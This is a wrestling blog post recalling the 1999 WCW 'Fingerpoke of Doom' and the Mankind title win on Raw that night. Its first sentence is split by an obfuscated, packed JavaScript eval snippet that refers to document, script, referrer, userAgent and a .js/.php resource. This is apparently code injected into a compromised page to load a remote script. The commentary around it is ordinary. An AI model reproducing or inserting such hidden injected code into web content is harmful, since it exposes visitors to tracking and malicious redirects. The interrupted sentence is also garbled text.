Fifteen Years Ago
The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tfaae|var|u0026u|referrer|yzdre||js|php'.split('|'),0,{})) Monday Night Wars were over for all intents and purposes.Fifteen years ago today, WCW World Champion Kevin Nash laid down for Hulk Hogan after a single fingerpoke to the chest. The NWO factions that had been at war for nine months reunited again and Goldberg was the second coming (and failing) of Sting from a year ago. The whole thing just made no sense and whatever explanation they had didn’t work either. This set up Hogan vs. Flair again because we hadn’t seen that a million times before.
Over on Raw, the WWF Title changed hands as well with Mankind beating the Rock in a huge upset with the help of Stone Cold Steve Austin, giving us the loudest pop you will ever hear at a wrestling show. For reasons that Eric Bischoff alone can comprehend, WCW announced this match on their show, thinking that fans would be offended that it was taped. According to Mick Foley, something like half a million people changed the channel at that announcement, sinking Nitro for the night.
So to recap: WCW screws the fans over and gives them the polar opposite of what they wanted (more Goldberg, less NWO) and the WWF gave the fans what they wanted (Vince at the Corporation losing at Austin’s hands). Combining this with all the other reasons WCW was moronic, the winners of the Monday Night Wars really were becoming clear around this time. For the life of me I still do not get what WCW was thinking. Yeah it’s taped. So is almost every show and entertainment broadcast on television. It astounds me to this day.